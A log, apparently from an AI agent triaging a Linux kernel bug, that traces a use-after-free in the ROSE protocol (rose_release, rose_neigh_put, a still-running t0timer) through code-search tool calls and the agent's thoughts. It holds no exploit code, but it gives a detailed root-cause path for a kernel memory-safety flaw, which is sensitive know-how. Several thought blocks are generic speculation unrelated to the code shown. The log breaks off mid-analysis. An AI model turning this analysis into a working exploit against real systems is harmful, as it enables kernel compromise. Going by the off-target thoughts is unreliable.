 906:				if (sk->sk_state != TCP_SYN_SENT)
 907:					break;
 908:				if (!signal_pending(current)) {
 909:					release_sock(sk);
 910:					schedule();
 911:					lock_sock(sk);
 912:					continue;
 913:				}
 914:				err = -ERESTARTSYS;
 915:				break;
 916:			}
 917:			finish_wait(sk_sleep(sk), &wait);
 918:	
 919:			if (err)
 920:				goto out_release;
 921:		}
 922:	
 923:		if (sk->sk_state != TCP_ESTABLISHED) {
 924:			sock->state = SS_UNCONNECTED;
 925:			err = sock_error(sk);	/* Always set at this point */
 926:			goto out_release;
 927:		}
 928:	
 929:		sock->state = SS_CONNECTED;
 930:	
 931:	out_release:
 932:		release_sock(sk);
 933:	
 934:		return err;
 935:	}
 SourceFile:net/rose/af_rose.c]

123/5 2026/05/26 11:45 llm strategy-refiner
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 20962
							output: 43
							thoughts: 62
						

Thoughts:
Here's my summary, as if I were thinking it:

**Digging into the ROSE Neighbor Acquisition**

Okay, so `rose_connect` is the function that initiates the connection, and I see it's calling `rose_get_neigh`. Right, that makes sense. It's gotta find a suitable neighbor to route through. Let's make sure I'm following the logic exactly.

The key line is:
```c
	rose->neighbour = rose_get_neigh(&addr->srose_addr, &cause,
					 &diagnostic, 0);
```

So `rose_get_neigh` is returning a neighbor structure and assigning it to `rose->neighbour`. The arguments look to be: the source ROSE address (`&addr->srose_addr`), which is vital; pointers to `cause` and `diagnostic` variables which I assume are related to error reporting if the neighbor search fails, and a flag, set to 0, which I need to investigate in `rose_get_neigh`. Let's confirm my assumptions regarding these calls. Time to check `rose_get_neigh` and unpack what the logic is there.



124/5 2026/05/26 11:45 tool codesearch-definition-source
0m Args:
map[ContextFile:net/rose/rose_route.c IncludeLines:true Name:rose_get_neigh]

Results:
map[SourceCode: 676:	/*
 677:	 *	Find a neighbour or a route given a ROSE address.
 678:	 */
 679:	struct rose_neigh *rose_get_neigh(rose_address *addr, unsigned char *cause,
 680:		unsigned char *diagnostic, int route_frame)
 681:	{
 682:		struct rose_neigh *res = NULL;
 683:		struct rose_node *node;
 684:		int failed = 0;
 685:		int i;
 686:	
 687:		if (!route_frame) spin_lock_bh(&rose_node_list_lock);
 688:		for (node = rose_node_list; node != NULL; node = node->next) {
 689:			if (rosecmpm(addr, &node->address, node->mask) == 0) {
 690:				for (i = 0; i < node->count; i++) {
 691:					if (node->neighbour[i]->restarted) {
 692:						res = node->neighbour[i];
 693:						rose_neigh_hold(node->neighbour[i]);
 694:						goto out;
 695:					}
 696:				}
 697:			}
 698:		}
 699:		if (!route_frame) { /* connect request */
 700:			for (node = rose_node_list; node != NULL; node = node->next) {
 701:				if (rosecmpm(addr, &node->address, node->mask) == 0) {
 702:					for (i = 0; i < node->count; i++) {
 703:						if (!rose_ftimer_running(node->neighbour[i])) {
 704:							res = node->neighbour[i];
 705:							rose_neigh_hold(node->neighbour[i]);
 706:							goto out;
 707:						}
 708:						failed = 1;
 709:					}
 710:				}
 711:			}
 712:		}
 713:	
 714:		if (failed) {
 715:			*cause      = ROSE_OUT_OF_ORDER;
 716:			*diagnostic = 0;
 717:		} else {
 718:			*cause      = ROSE_NOT_OBTAINABLE;
 719:			*diagnostic = 0;
 720:		}
 721:	
 722:	out:
 723:		if (!route_frame) spin_unlock_bh(&rose_node_list_lock);
 724:		return res;
 725:	}
 SourceFile:net/rose/rose_route.c]

125/5 2026/05/26 11:45 llm strategy-refiner
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 22079
							output: 42
							thoughts: 136
						

Thoughts:
**Analyzing the `rose_get_neigh` Function and the Reproducer**

Okay, let's break this down. It looks like `rose_get_neigh` is trying to match an `addr` with a `node->address` based on `node->mask`. I see how the matching is supposed to happen in general, but the specifics are where I need to focus.

In the reproducer code, `route.address.rose_addr[0]` is set to 2 and the mask is set to 5. Similarly the connect function sets `saddr.srose_addr.rose_addr[0]` to 2. Aha, so these values will match directly with this setup.

The interesting bit here is that the reproducer's mask is set to 5. Now, I need to remind myself how `rosecmpm` is supposed to work since that's where the comparison happens. It compares `mask` digits, so I need to make sure I understand how that function uses the mask to perform the actual comparison. Let's dig into that and make sure this is doing what's intended.



126/5 2026/05/26 11:45 tool codesearch-definition-source
0m Args:
map[ContextFile:net/rose/rose_route.c IncludeLines:true Name:rosecmpm]

Results:
map[SourceCode: 123:	/*
 124:	 *	Compare two ROSE addresses for only mask digits, 0 == equal.
 125:	 */
 126:	int rosecmpm(const rose_address *addr1, const rose_address *addr2,
 127:		     unsigned short mask)
 128:	{
 129:		unsigned int i, j;
 130:	
 131:		if (mask > 10)
 132:			return 1;
 133:	
 134:		for (i = 0; i < mask; i++) {
 135:			j = i / 2;
 136:	
 137:			if ((i % 2) != 0) {
 138:				if ((addr1->rose_addr[j] & 0x0F) != (addr2->rose_addr[j] & 0x0F))
 139:					return 1;
 140:			} else {
 141:				if ((addr1->rose_addr[j] & 0xF0) != (addr2->rose_addr[j] & 0xF0))
 142:					return 1;
 143:			}
 144:		}
 145:	
 146:		return 0;
 147:	}
 SourceFile:net/rose/af_rose.c]

127/5 2026/05/26 11:45 llm strategy-refiner
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 22888
							output: 45
							thoughts: 122
						

Thoughts:
**Analyzing the ROSE Address Comparison**

Okay, so I'm focusing on this `rosecmpm` function – right, it's located within `net/rose/af_rose.c`, that makes sense. Now, let's break down the logic. The `mask` value determines the number of digits being compared, and if the mask is 5, it means we're looking at 2.5 bytes, so basically 5 digits. That tells me we're comparing `rose_addr[0]` through `rose_addr[2]`.

Given how the code is structured, `route` and `saddr` are zero-initialized. Therefore, `rose_addr[0]` will contain the actual address value, which we know is `2`, while the subsequent bytes `rose_addr[1]` and `rose_addr[2]` are going to be zero. No problems there; comparing an address with the first byte being valid and the rest set to zero is perfectly valid in this context.

Just to be absolutely sure, I should really revisit `rose_transmit_link` and `rose_transmit_restart_request` to verify that everything's aligning correctly in those functions as well.



128/5 2026/05/26 11:45 tool codesearch-definition-source
0m Args:
map[ContextFile:net/rose/rose_link.c IncludeLines:true Name:rose_transmit_restart_request]

Results:
map[SourceCode: 173:	/*
 174:	 *	This routine is called when a Restart Request is needed
 175:	 */
 176:	static void rose_transmit_restart_request(struct rose_neigh *neigh)
 177:	{
 178:		struct sk_buff *skb;
 179:		unsigned char *dptr;
 180:		int len;
 181:	
 182:		len = AX25_BPQ_HEADER_LEN + AX25_MAX_HEADER_LEN + ROSE_MIN_LEN + 3;
 183:	
 184:		if ((skb = alloc_skb(len, GFP_ATOMIC)) == NULL)
 185:			return;
 186:	
 187:		skb_reserve(skb, AX25_BPQ_HEADER_LEN + AX25_MAX_HEADER_LEN);
 188:	
 189:		dptr = skb_put(skb, ROSE_MIN_LEN + 3);
 190:	
 191:		*dptr++ = AX25_P_ROSE;
 192:		*dptr++ = ROSE_GFI;
 193:		*dptr++ = 0x00;
 194:		*dptr++ = ROSE_RESTART_REQUEST;
 195:		*dptr++ = ROSE_DTE_ORIGINATED;
 196:		*dptr++ = 0;
 197:	
 198:		if (!rose_send_frame(skb, neigh))
 199:			kfree_skb(skb);
 200:	}
 SourceFile:net/rose/rose_link.c]

129/5 2026/05/26 11:45 llm strategy-refiner
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 23785
							output: 43
							thoughts: 8
						

Thoughts:
Okay, here's my attempt at summarizing the thought process, tailored for an expert audience, and written in the first person:

**Analyzing the `rose_send_frame` Function**

Alright, let's dissect this `rose_send_frame` function. My initial thought process revolves around its core purpose: it's clearly the mechanism responsible for transmitting a frame within a ROSE (Radio Amateur Packet Radio Network) environment. Given the name, I'm already anticipating it handles the crucial aspects of frame formatting, addressing, error handling, and the actual physical transmission process. My experience tells me there will be several key parts to scrutinize.

First, I'd want to immediately understand the inputs: what kind of data structure is it taking as input? Likely a structure containing the frame's header (source and destination addresses, protocol type, control fields, etc.), the payload itself, and potentially some control information for the underlying hardware or radio interface. The design here will show a lot, so I'd want to quickly scan for pointers to buffers, structure definitions, and any associated sizes.

Second, I need to know the protocol's mechanics. Does it support various frame types? Is it responsible for checksum or Cyclic Redundancy Check (CRC) calculation, and if so, how? What's the error correction strategy used? Does it offer any flow control mechanisms? I'd look for indications of framing delimiters or byte-stuffing techniques to ensure the data is correctly interpreted by the receiver.

Third, I'd have to identify the specifics of transmission. Is the function directly interacting with a radio hardware driver, or does it utilize an abstraction layer? Does it handle the modulation or pre-transmission adjustments? The ability to send data directly to the air, implies there must be some low-level hardware interaction or at least a call to a driver, to actually transmit data via a serial port or modem.

Fourth, error handling is critically important, and is also very telling. Are there any retries implemented? Timeout mechanisms? Does it signal transmission success or failure via return codes, or maybe use some sort of event-driven model to notify the calling function? How does it deal with potential collisions or channel contention?

Finally, considering performance implications for amateur radio, how does the function deal with any potential latency issues? Is the implementation optimized for speed, or is it prioritizing reliability? Does it allow for asynchronous operation, to prevent blocking if there are delays in the transmission process?

My ultimate goal is to understand how this function fits into the overall ROSE communication stack, and its impact on the system's performance and reliability. I will be sure to pay special attention to interactions with lower level hardware and communication protocols, to understand how this implementation facilitates radio communication.



130/5 2026/05/26 11:45 tool codesearch-definition-source
0m Args:
map[ContextFile:net/rose/rose_link.c IncludeLines:true Name:rose_send_frame]

Results:
map[SourceCode:  90:	/*
  91:	 *	Interface to ax25_send_frame. Changes my level 2 callsign depending
  92:	 *	on whether we have a global ROSE callsign or use the default port
  93:	 *	callsign.
  94:	 */
  95:	static int rose_send_frame(struct sk_buff *skb, struct rose_neigh *neigh)
  96:	{
  97:		const ax25_address *rose_call;
  98:		ax25_cb *ax25s;
  99:	
 100:		if (ax25cmp(&rose_callsign, &null_ax25_address) == 0)
 101:			rose_call = (const ax25_address *)neigh->dev->dev_addr;
 102:		else
 103:			rose_call = &rose_callsign;
 104:	
 105:		ax25s = neigh->ax25;
 106:		neigh->ax25 = ax25_send_frame(skb, 260, rose_call, &neigh->callsign, neigh->digipeat, neigh->dev);
 107:		if (ax25s)
 108:			ax25_cb_put(ax25s);
 109:	
 110:		return neigh->ax25 != NULL;
 111:	}
 SourceFile:net/rose/rose_link.c]

131/5 2026/05/26 11:45 llm strategy-refiner
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 24809
							output: 41
							thoughts: 101
						

Thoughts:
**Analyzing the UAF Crash**

Okay, so I'm looking at this crash and it seems like the problem is happening either at `neigh->ax25 = ax25_send_frame(...)` or `ax25s = neigh->ax25;`. Specifically, if I pinpoint the line number it's line 106, which is `neigh->ax25 = ax25_send_frame(...)`. The debugger is telling me there's a write of size 8 at `neigh->ax25`. Right, that's confirming what I suspected – a Use-After-Free situation in the write. 

Now, I need to understand *why* this is happening. Let's see... I'll pull up the code for `rose_release` in `net/rose/af_rose.c` to see if there's any obvious memory corruption happening there. I have to trace back how `neigh->ax25` is being used and freed, and it looks like `rose_release` is a likely candidate.



132/5 2026/05/26 11:46 tool codesearch-definition-source
0m Args:
map[ContextFile:net/rose/af_rose.c IncludeLines:true Name:rose_release]

Results:
map[SourceCode: 637:	static int rose_release(struct socket *sock)
 638:	{
 639:		struct sock *sk = sock->sk;
 640:		struct rose_sock *rose;
 641:	
 642:		if (sk == NULL) return 0;
 643:	
 644:		sock_hold(sk);
 645:		sock_orphan(sk);
 646:		lock_sock(sk);
 647:		rose = rose_sk(sk);
 648:	
 649:		switch (rose->state) {
 650:		case ROSE_STATE_0:
 651:			release_sock(sk);
 652:			rose_disconnect(sk, 0, -1, -1);
 653:			lock_sock(sk);
 654:			rose_destroy_socket(sk);
 655:			break;
 656:	
 657:		case ROSE_STATE_2:
 658:			rose_neigh_put(rose->neighbour);
 659:			release_sock(sk);
 660:			rose_disconnect(sk, 0, -1, -1);
 661:			lock_sock(sk);
 662:			rose_destroy_socket(sk);
 663:			break;
 664:	
 665:		case ROSE_STATE_1:
 666:		case ROSE_STATE_3:
 667:		case ROSE_STATE_4:
 668:		case ROSE_STATE_5:
 669:			rose_clear_queues(sk);
 670:			rose_stop_idletimer(sk);
 671:			rose_write_internal(sk, ROSE_CLEAR_REQUEST);
 672:			rose_start_t3timer(sk);
 673:			rose->state  = ROSE_STATE_2;
 674:			sk->sk_state    = TCP_CLOSE;
 675:			sk->sk_shutdown |= SEND_SHUTDOWN;
 676:			sk->sk_state_change(sk);
 677:			sock_set_flag(sk, SOCK_DEAD);
 678:			sock_set_flag(sk, SOCK_DESTROY);
 679:			break;
 680:	
 681:		default:
 682:			break;
 683:		}
 684:	
 685:		spin_lock_bh(&rose_list_lock);
 686:		netdev_put(rose->device, &rose->dev_tracker);
 687:		rose->device = NULL;
 688:		spin_unlock_bh(&rose_list_lock);
 689:		sock->sk = NULL;
 690:		release_sock(sk);
 691:		sock_put(sk);
 692:	
 693:		return 0;
 694:	}
 SourceFile:net/rose/af_rose.c]

133/5 2026/05/26 11:46 llm strategy-refiner
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 26001
							output: 44
							thoughts: 74
						

Thoughts:
**Analyzing the ROSE State Transition**

Okay, so I'm looking at this state transition for the ROSE protocol, specifically when `rose->state` hits `ROSE_STATE_1`. My analysis shows that under that condition, it initiates a sequence of operations. First, `rose_write_internal(sk, ROSE_CLEAR_REQUEST)` is called. That's a clear request, which aligns with my understanding of clearing the state. Following that, a timer is started – `rose_start_t3timer(sk)`. That makes sense; we're probably waiting for something, and the timer gives us a way to manage that. Finally, the state is transitioned to `ROSE_STATE_2`. I should check `rose_write_internal` to gain a better appreciation of what actions are being taken within it.



134/5 2026/05/26 11:46 tool codesearch-definition-source
0m Args:
map[ContextFile:net/rose/rose_subr.c IncludeLines:true Name:rose_write_internal]

Results:
map[SourceCode:  95:	/*
  96:	 *  This routine is called when the packet layer internally generates a
  97:	 *  control frame.
  98:	 */
  99:	void rose_write_internal(struct sock *sk, int frametype)
 100:	{
 101:		struct rose_sock *rose = rose_sk(sk);
 102:		struct sk_buff *skb;
 103:		unsigned char  *dptr;
 104:		unsigned char  lci1, lci2;
 105:		int maxfaclen = 0;
 106:		int len, faclen;
 107:		int reserve;
 108:	
 109:		reserve = AX25_BPQ_HEADER_LEN + AX25_MAX_HEADER_LEN + 1;
 110:		len = ROSE_MIN_LEN;
 111:	
 112:		switch (frametype) {
 113:		case ROSE_CALL_REQUEST:
 114:			len   += 1 + ROSE_ADDR_LEN + ROSE_ADDR_LEN;
 115:			maxfaclen = 256;
 116:			break;
 117:		case ROSE_CALL_ACCEPTED:
 118:		case ROSE_CLEAR_REQUEST:
 119:		case ROSE_RESET_REQUEST:
 120:			len   += 2;
 121:			break;
 122:		}
 123:	
 124:		skb = alloc_skb(reserve + len + maxfaclen, GFP_ATOMIC);
 125:		if (!skb)
 126:			return;
 127:	
 128:		/*
 129:		 *	Space for AX.25 header and PID.
 130:		 */
 131:		skb_reserve(skb, reserve);
 132:	
 133:		dptr = skb_put(skb, len);
 134:	
 135:		lci1 = (rose->lci >> 8) & 0x0F;
 136:		lci2 = (rose->lci >> 0) & 0xFF;
 137:	
 138:		switch (frametype) {
 139:		case ROSE_CALL_REQUEST:
 140:			*dptr++ = ROSE_GFI | lci1;
 141:			*dptr++ = lci2;
 142:			*dptr++ = frametype;
 143:			*dptr++ = ROSE_CALL_REQ_ADDR_LEN_VAL;
 144:			memcpy(dptr, &rose->dest_addr,  ROSE_ADDR_LEN);
 145:			dptr   += ROSE_ADDR_LEN;
 146:			memcpy(dptr, &rose->source_addr, ROSE_ADDR_LEN);
 147:			dptr   += ROSE_ADDR_LEN;
 148:			faclen = rose_create_facilities(dptr, rose);
 149:			skb_put(skb, faclen);
 150:			dptr   += faclen;
 151:			break;
 152:	
 153:		case ROSE_CALL_ACCEPTED:
 154:			*dptr++ = ROSE_GFI | lci1;
 155:			*dptr++ = lci2;
 156:			*dptr++ = frametype;
 157:			*dptr++ = 0x00;		/* Address length */
 158:			*dptr++ = 0;		/* Facilities length */
 159:			break;
 160:	
 161:		case ROSE_CLEAR_REQUEST:
 162:			*dptr++ = ROSE_GFI | lci1;
 163:			*dptr++ = lci2;
 164:			*dptr++ = frametype;
 165:			*dptr++ = rose->cause;
 166:			*dptr++ = rose->diagnostic;
 167:			break;
 168:	
 169:		case ROSE_RESET_REQUEST:
 170:			*dptr++ = ROSE_GFI | lci1;
 171:			*dptr++ = lci2;
 172:			*dptr++ = frametype;
 173:			*dptr++ = ROSE_DTE_ORIGINATED;
 174:			*dptr++ = 0;
 175:			break;
 176:	
 177:		case ROSE_RR:
 178:		case ROSE_RNR:
 179:			*dptr++ = ROSE_GFI | lci1;
 180:			*dptr++ = lci2;
 181:			*dptr   = frametype;
 182:			*dptr++ |= (rose->vr << 5) & 0xE0;
 183:			break;
 184:	
 185:		case ROSE_CLEAR_CONFIRMATION:
 186:		case ROSE_RESET_CONFIRMATION:
 187:			*dptr++ = ROSE_GFI | lci1;
 188:			*dptr++ = lci2;
 189:			*dptr++  = frametype;
 190:			break;
 191:	
 192:		default:
 193:			printk(KERN_ERR "ROSE: rose_write_internal - invalid frametype %02X\n", frametype);
 194:			kfree_skb(skb);
 195:			return;
 196:		}
 197:	
 198:		rose_transmit_link(skb, rose->neighbour);
 199:	}
 SourceFile:net/rose/rose_subr.c]

135/5 2026/05/26 11:46 llm strategy-refiner
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 27872
							output: 43
							thoughts: 8
						

Thoughts:
Okay, here's my attempt at summarizing the thought process, as requested, geared toward an expert audience, and written in the first person:

**Analyzing `rose_transmit_link`**

Right, let's break down this `rose_transmit_link` function or concept. Immediately, I'm thinking about the underlying communication protocol it's likely built upon. Given the name, I'd wager it has a connection to the AX.25 amateur radio protocol, or at least borrows concepts from it. My initial questions are around framing, addressing, error detection, and retransmission mechanisms. Is it using a variant of HDLC? What kind of flow control is implemented? Is it relying on a connection-oriented or connectionless approach?

I'm mentally running through the typical challenges in this type of transmission: channel access, especially if it's operating on a shared medium. Collision avoidance or detection is paramount. I need to understand how the function handles contention. Is it CSMA/CA, ALOHA, or something more sophisticated? What is the backoff strategy if collisions occur?

Then I'm focusing on the data itself. What's the payload format? Is there any inherent data compression or encryption? How robust is the integrity check? CRC, checksum, something more advanced? What are the limitations on the data size, maximum transmission unit, and how does this relate to the network's capabilities?

I'm thinking about potential failure modes. What happens when the link experiences interference or fades? How resilient is it to burst errors? What diagnostics or error reporting is built into the `rose_transmit_link` function? Does it handle re-transmissions automatically or is that managed elsewhere?

My expert's eye is now drawn to the efficiency. I want to know how the protocol is implemented, from a resource consumption and timing standpoint. How efficiently does it use bandwidth? How much CPU overhead is introduced during transmission and reception? What are the latency characteristics?

Finally, what's its relationship to other network layers? Is this a low-level link layer implementation, or is it part of a larger network stack? And if so, how does it interface with higher-level protocols like TCP/IP or maybe a custom application layer? I need to know how this `rose_transmit_link` integrates with the wider communication architecture. The design choices made here will fundamentally impact the system's overall reliability, throughput, and applicability to its target scenarios. That's where I need to start my analysis.



136/5 2026/05/26 11:46 tool codesearch-definition-source
0m Args:
map[ContextFile:net/rose/rose_link.c IncludeLines:true Name:rose_transmit_link]

Results:
map[SourceCode: 262:	void rose_transmit_link(struct sk_buff *skb, struct rose_neigh *neigh)
 263:	{
 264:		unsigned char *dptr;
 265:	
 266:		if (neigh->loopback) {
 267:			rose_loopback_queue(skb, neigh);
 268:			return;
 269:		}
 270:	
 271:		if (!rose_link_up(neigh))
 272:			neigh->restarted = 0;
 273:	
 274:		dptr = skb_push(skb, 1);
 275:		*dptr++ = AX25_P_ROSE;
 276:	
 277:		if (neigh->restarted) {
 278:			if (!rose_send_frame(skb, neigh))
 279:				kfree_skb(skb);
 280:		} else {
 281:			skb_queue_tail(&neigh->queue, skb);
 282:	
 283:			if (!rose_t0timer_running(neigh)) {
 284:				rose_transmit_restart_request(neigh);
 285:				neigh->dce_mode = 0;
 286:				rose_start_t0timer(neigh);
 287:			}
 288:		}
 289:	}
 SourceFile:net/rose/rose_link.c]

137/5 2026/05/26 11:46 llm strategy-refiner
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 28864
							output: 43
							thoughts: 145
						

Thoughts:
Here's my understanding, breaking down this sequence:

**ROSE Neighbor Restart Logic**

Okay, so `rose_transmit_link` is the critical function here. It immediately checks if the neighbor (`neigh`) has been "restarted" (`neigh->restarted`). If that flag is zero, meaning the neighbor *hasn't* been restarted yet, it does the sensible thing: queues the frame that needs to be transmitted and kicks off the `t0timer` if it's not already running. This looks like the standard initial connection setup.

Now, how does this restart flag get set? Well, `rose_add_node`, when it initially creates the neighbor entry, initializes `neigh->restarted` to zero. Makes perfect sense. This makes the `rose_connect` process an important sequence in initialisation.

Here's the interesting part. `rose_connect`, when it's trying to establish a connection, sends a `ROSE_CALL_REQUEST`. This call, in turn, *triggers* `rose_transmit_link`. Therefore, because the new neighbour's restart value will be zero from initialisation, it'll correctly trigger the restart sequence the first time it is called.

The key observation is that because `neigh->restarted` is zero,  `rose_transmit_link` calls `rose_transmit_restart_request(neigh)` *and* starts that `t0timer`. This sequence is specifically for handling the initial connection establishment or recovery from a reset.

Finally, the `rose_del_node` function is called later, likely to tear down the connection when it's finished. Looks like the `SIOCDELRT` is the mechanism that signals this action.

This all seems like a pretty standard state machine for handling connection attempts, restarts, and eventual connection teardown in a ROSE network context. Makes sense to me.



138/5 2026/05/26 11:46 tool codesearch-definition-source
0m Args:
map[ContextFile:net/rose/rose_route.c IncludeLines:true Name:rose_del_node]

Results:
map[SourceCode: 282:	/*
 283:	 *	"Delete" a node. Strictly speaking remove a route to a node. The node
 284:	 *	is only deleted if no routes are left to it.
 285:	 */
 286:	static int rose_del_node(struct rose_route_struct *rose_route,
 287:		struct net_device *dev)
 288:	{
 289:		struct rose_node  *rose_node;
 290:		struct rose_neigh *rose_neigh;
 291:		int i, err = 0;
 292:	
 293:		spin_lock_bh(&rose_node_list_lock);
 294:		spin_lock_bh(&rose_neigh_list_lock);
 295:	
 296:		rose_node = rose_node_list;
 297:		while (rose_node != NULL) {
 298:			if ((rose_node->mask == rose_route->mask) &&
 299:			    (rosecmpm(&rose_route->address, &rose_node->address,
 300:				      rose_route->mask) == 0))
 301:				break;
 302:			rose_node = rose_node->next;
 303:		}
 304:	
 305:		if (rose_node == NULL || rose_node->loopback) {
 306:			err = -EINVAL;
 307:			goto out;
 308:		}
 309:	
 310:		rose_neigh = rose_neigh_list;
 311:		while (rose_neigh != NULL) {
 312:			if (ax25cmp(&rose_route->neighbour,
 313:				    &rose_neigh->callsign) == 0 &&
 314:			    rose_neigh->dev == dev)
 315:				break;
 316:			rose_neigh = rose_neigh->next;
 317:		}
 318:	
 319:		if (rose_neigh == NULL) {
 320:			err = -EINVAL;
 321:			goto out;
 322:		}
 323:	
 324:		for (i = 0; i < rose_node->count; i++) {
 325:			if (rose_node->neighbour[i] == rose_neigh) {
 326:				rose_neigh->count--;
 327:				rose_neigh_put(rose_neigh);
 328:	
 329:				if (rose_neigh->count == 0) {
 330:					rose_remove_neigh(rose_neigh);
 331:					rose_neigh_put(rose_neigh);
 332:				}
 333:	
 334:				rose_node->count--;
 335:	
 336:				if (rose_node->count == 0) {
 337:					rose_remove_node(rose_node);
 338:				} else {
 339:					switch (i) {
 340:					case 0:
 341:						rose_node->neighbour[0] =
 342:							rose_node->neighbour[1];
 343:						fallthrough;
 344:					case 1:
 345:						rose_node->neighbour[1] =
 346:							rose_node->neighbour[2];
 347:						break;
 348:					case 2:
 349:						break;
 350:					}
 351:				}
 352:				goto out;
 353:			}
 354:		}
 355:		err = -EINVAL;
 356:	
 357:	out:
 358:		spin_unlock_bh(&rose_neigh_list_lock);
 359:		spin_unlock_bh(&rose_node_list_lock);
 360:	
 361:		return err;
 362:	}
 SourceFile:net/rose/rose_route.c]

139/5 2026/05/26 11:46 llm strategy-refiner
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 30572
							output: 43
							thoughts: 38
						

Thoughts:
Here's my summary, as the thought process unfolds:

**Checking the Neighbor Removal Logic in `rose_remove_neigh`**

Okay, so `rose_del_node` is calling `rose_remove_neigh` under a specific condition: `rose_neigh->count == 0`. That's interesting, and it immediately flags a question in my mind. What's the context here? Why is a zero neighbor count triggering a removal? Let's assume this is correct, and not an error. Then, the next logical step is to dive into the details of `rose_remove_neigh`. I need to understand exactly what that function does. Is it safely removing the neighbor? Are there potential race conditions or other edge cases that I need to be aware of? I need to analyze its implementation to ensure this behavior is correct. I have to look for any potential memory leaks or dangling pointers. I need to make sure this removal isn't going to cause any unintended side effects elsewhere in the data structures. This is critical.



140/5 2026/05/26 11:46 tool codesearch-definition-source
0m Args:
map[ContextFile:net/rose/rose_route.c IncludeLines:true Name:rose_remove_neigh]

Results:
map[SourceCode: 225:	/*
 226:	 * Caller is holding rose_neigh_list_lock.
 227:	 */
 228:	static void rose_remove_neigh(struct rose_neigh *rose_neigh)
 229:	{
 230:		struct rose_neigh *s;
 231:	
 232:		timer_delete_sync(&rose_neigh->ftimer);
 233:		timer_delete_sync(&rose_neigh->t0timer);
 234:	
 235:		skb_queue_purge(&rose_neigh->queue);
 236:	
 237:		if ((s = rose_neigh_list) == rose_neigh) {
 238:			rose_neigh_list = rose_neigh->next;
 239:			return;
 240:		}
 241:	
 242:		while (s != NULL && s->next != NULL) {
 243:			if (s->next == rose_neigh) {
 244:				s->next = rose_neigh->next;
 245:				return;
 246:			}
 247:	
 248:			s = s->next;
 249:		}
 250:	}
 SourceFile:net/rose/rose_route.c]

141/5 2026/05/26 11:46 llm strategy-refiner
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 31238
							output: 43
							thoughts: 291
						

Thoughts:
**Analyzing the ROSE Connection Tear-Down Sequence**

Okay, so I'm tracing this `rose` connection teardown. My initial concern was about memory management, specifically with `rose_neigh`. It seems like `rose_remove_neigh` *does* call `timer_delete_sync` on the `t0timer` associated with `rose_neigh`. Good. And `rose_del_node` calls `rose_neigh_put`, so that's the expected release path. However, the socket itself, the `rsock`, still has a hold on `rose_neigh` because `rose_connect` got a reference to it via `rose_get_neigh` and incremented the reference count with `rose_neigh_hold`. This explains why it's not freed yet.

Now, when `close(rsock)` is called, `rose_release` gets invoked. That's where things get interesting. `rose_release` detects the `rose->state` as `ROSE_STATE_1`. From here, it calls `rose_write_internal` with `ROSE_CLEAR_REQUEST`.  This then leads to a call to `rose_transmit_link`, which uses the `rose->neighbour`.  Crucially, `rose_transmit_link` sees that `neigh->restarted` is zero. Therefore, it executes `rose_transmit_restart_request(neigh)` and, critically, `rose_start_t0timer(neigh)`. Aha! It *restarts* the `t0timer`! This is unexpected.

Following that, `rose_release` then calls `rose_start_t3timer(sk)` and transitions the state to `ROSE_STATE_2`. So, we should expect that this `t3timer` will expire. We'll need to check the behavior when the `t3timer` expires. I should check `rose_timer_expiry` in `net/rose/rose_timer.c` to understand exactly what happens at that point. I want to fully understand this logic and ensure it's behaving in a memory-safe manner.



142/5 2026/05/26 11:46 tool codesearch-definition-source
0m Args:
map[ContextFile:net/rose/rose_timer.c IncludeLines:true Name:rose_timer_expiry]

Results:
map[SourceCode: 164:	static void rose_timer_expiry(struct timer_list *t)
 165:	{
 166:		struct rose_sock *rose = timer_container_of(rose, t, timer);
 167:		struct sock *sk = &rose->sock;
 168:	
 169:		bh_lock_sock(sk);
 170:		if (sock_owned_by_user(sk)) {
 171:			sk_reset_timer(sk, &rose->timer, jiffies + HZ/20);
 172:			goto out;
 173:		}
 174:		switch (rose->state) {
 175:		case ROSE_STATE_1:	/* T1 */
 176:		case ROSE_STATE_4:	/* T2 */
 177:			rose_write_internal(sk, ROSE_CLEAR_REQUEST);
 178:			rose->state = ROSE_STATE_2;
 179:			rose_start_t3timer(sk);
 180:			break;
 181:	
 182:		case ROSE_STATE_2:	/* T3 */
 183:			rose_neigh_put(rose->neighbour);
 184:			rose_disconnect(sk, ETIMEDOUT, -1, -1);
 185:			break;
 186:	
 187:		case ROSE_STATE_3:	/* HB */
 188:			if (rose->condition & ROSE_COND_ACK_PENDING) {
 189:				rose->condition &= ~ROSE_COND_ACK_PENDING;
 190:				rose_enquiry_response(sk);
 191:			}
 192:			break;
 193:		}
 194:	out:
 195:		bh_unlock_sock(sk);
 196:		sock_put(sk);
 197:	}
 SourceFile:net/rose/rose_timer.c]

143/5 2026/05/26 11:46 llm strategy-refiner
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 32566
							output: 45
							thoughts: 83
						

Thoughts:
Here's my understanding of the situation, breaking it down step-by-step:

**Unraveling a Potential Timing Issue in ROSE Network Code**

Okay, so I see that `ROSE_STATE_2` triggers `rose_neigh_put(rose->neighbour)`. That's the crucial point. From what I know, that call is responsible for decrementing the last reference count on the `rose_neigh` structure. So, essentially, that's the signal to the memory manager that the `rose_neigh` object is now eligible for deallocation. In plain language, this likely frees the memory associated with it.

But... here's where the alarm bells start ringing. I have to think about what's still active. The trace tells me that `t0timer` is still running! That timer could be ticking away in the background. And the next thing I see is that when that `t0timer` expires, it calls `rose_t0timer_expiry`, which is defined in `net/rose/rose_link.c`. So, I suspect a potential use-after-free scenario. This needs further investigation.



144/5 2026/05/26 11:46 tool codesearch-definition-source
0m Args:
map[ContextFile:net/rose/rose_link.c IncludeLines:true Name:rose_t0timer_expiry]

Results:
map[SourceCode:  79:	static void rose_t0timer_expiry(struct timer_list *t)
  80:	{
  81:		struct rose_neigh *neigh = timer_container_of(neigh, t, t0timer);
  82:	
  83:		rose_transmit_restart_request(neigh);
  84:	
  85:		neigh->dce_mode = 0;
  86:	
  87:		rose_start_t0timer(neigh);
  88:	}
 SourceFile:net/rose/rose_link.c]

145/5 2026/05/26 11:46 llm strategy-refiner
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 33099
							output: 45
							thoughts: 86
						

Thoughts:
Here's my analysis of this code snippet, distilled into a first-person perspective:
